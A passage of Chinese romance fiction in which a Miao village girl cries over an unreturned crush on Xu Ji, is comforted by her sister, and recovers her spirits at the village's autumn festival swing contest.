绫司司愣了愣，随即忍不住笑了。她想起城南古董市那次，许祭替她出头，沈司南就站在旁边，看似漫不经心，却总能在许祭需要的时候搭把手；想起苗寨集市上，两人一个唱红脸一个唱白脸，默契得不像话。
“是啊，”绫司司点头，声音放得很轻，“他们认识好多年了。许祭嘴硬，看着好像什么都不在乎，其实沈司南的事，他从来都放在心上。沈司南呢，看着懒洋洋的，却总能把许祭的脾气摸得透透的。”
她顿了顿，指着屋里透出的光——许祭正和沈司南头挨着头，在看阿术那只清代铜熏炉，两人低声说着什么，眉眼间全是笑意。
“你看，”绫司司弯着眼睛，“好的感情就是这样，不用特意说什么，站在一起就很搭。”
阿芷顺着她指的方向看去，看着屋里两人相视而笑的样子，攥着荷包的手慢慢松了。她低头看了看手里的蝴蝶荷包，小声说：“那……那我祝他们好。”
晚风又吹过来，带着蜜饯的甜香，阿芷的声音轻轻的，像一片落在水面上的羽毛。
夜色漫进竹楼，阿术刚收拾好碗筷，就听见里屋传来细细的啜泣声。她擦着手走进去，看见阿芷抱着那个绣好的蝴蝶荷包，蜷在床角，肩膀一抽一抽的，眼泪把衣襟洇湿了一大片。
“傻丫头，”阿术叹了口气，坐在床边，伸手轻轻拍着她的背，“早跟你说过，许二哥身边有人了，你偏不信，非要撞南墙。”
阿芷抬起头，眼睛红肿得像核桃，鼻尖红红的，哽咽着说：“姐，我就是……就是觉得他很好。他看熏炉的时候，眼神好认真，说话也温温柔柔的……”
她说着，眼泪又掉了下来，攥着荷包的手指发白：“我绣这个荷包，熬了三个晚上，想着他逛集市会被蚊子咬，想着……想着他能随身带着。可他说，他有喜欢的人了。”
阿术把她揽进怀里，摸着她柔软的头发，声音放得很轻：“感情这事，哪有那么多道理可讲。许二哥和沈蛊王从城南古董市到苗寨，两人一直形影不离，旁人插不进去的。”
“我知道，”阿芷埋在她的肩窝，声音闷闷的，“绫司司姐姐也跟我说了，他们站在一起，就很搭。可是我还是难受。”
“难受就哭出来，”阿术拍着她的后背，从抽屉里摸出块桂花糖，塞进她嘴里，“哭够了就好了。苗寨的好后生多的是，不差他一个许祭。”
阿芷含着糖，甜味漫过舌尖，却压不住心里的涩。她把脸埋得更深，眼泪沾湿了阿术的衣裳，像一场无声的雨。窗外的月光透过竹缝，落在床脚的荷包上，那只绣好的蝴蝶，在月色里，像是要振翅飞。
天刚蒙蒙亮，苗寨的鸡鸣声就穿透了薄雾。阿芷是被院子里的铜铃声吵醒的，她揉着红肿的眼睛坐起来，看见床脚的蝴蝶荷包，愣了愣神，随即轻轻把它叠好，收进了梳妆盒的最底层。
院里传来阿术和许祭他们说话的声音，她深吸一口气，对着镜子理了理双丫髻上的野蔷薇，又扯了扯水绿色的苗裙，推门走了出去。
绫司司正蹲在石磨旁，逗着阿术养的芦花鸡，看见她出来，立刻挥着手喊：“阿芷！快来！”
阿芷走过去，脸上还带着点没散尽的倦意，却努力挤出了一个笑。绫司司拉着她的手，晃了晃：“阿术姐说，今天是苗寨的赶秋节，有秋千会、芦笙舞，还有好多好吃的！我们一起去逛好不好？”
阿术端着刚蒸好的糯米饭走过来，笑着拍了拍阿芷的肩膀：“去逛逛吧，散散心。寨里的后生们今天都要比秋千，说不定能遇上合心意的。”
许祭和沈司南正靠在竹篱笆旁说话，看见阿芷，许祭对着她点了点头，眼神里带着几分歉意。阿芷却摇了摇头，小声说：“许二哥，昨天的事，是我唐突了。”
沈司南挑了挑眉，递过来一串刚摘的野山楂：“小姑娘，尝尝，甜的。”
阿芷接过山楂，咬了一口，酸甜的汁水在舌尖散开，她忍不住弯了弯眼睛。
赶秋节的集市比往日热闹了十倍，青石板路上摆满了摊位，卖糖画的、吹糖人的、烤糍粑的，吆喝声此起彼伏。芦笙声从晒谷场传来，一群穿着盛装的苗家姑娘小伙，正围着秋千跳着舞。
阿芷拉着绫司司的手，挤进人群里。晒谷场的秋千是用粗麻绳和楠木做的，荡得老高，围观的人叫好声不断。一个穿着靛蓝苗服的后生看见阿芷，笑着朝她招手：“阿芷妹妹，要不要来试试？”
阿芷犹豫了一下，被绫司司推了一把，踉跄着走到秋千旁。后生帮她系好安全带，用力一推，秋千瞬间荡了起来，风从耳边吹过，带着桂花的香气。她低头看去，绫司司正和梨霄宫、上官渡一起拍手叫好，许祭和沈司南站在不远处，肩并肩看着她，嘴角都带着笑。
风扬起她的裙角，像一只展翅的蝴蝶。阿芷忍不住张开双臂，大声笑了起来，心里的那点涩意，好像被这秋风一吹，就散了个干净。
日头渐渐升高，晒谷场的芦笙声更响了，苗寨的赶秋节，正热闹得恰到好处。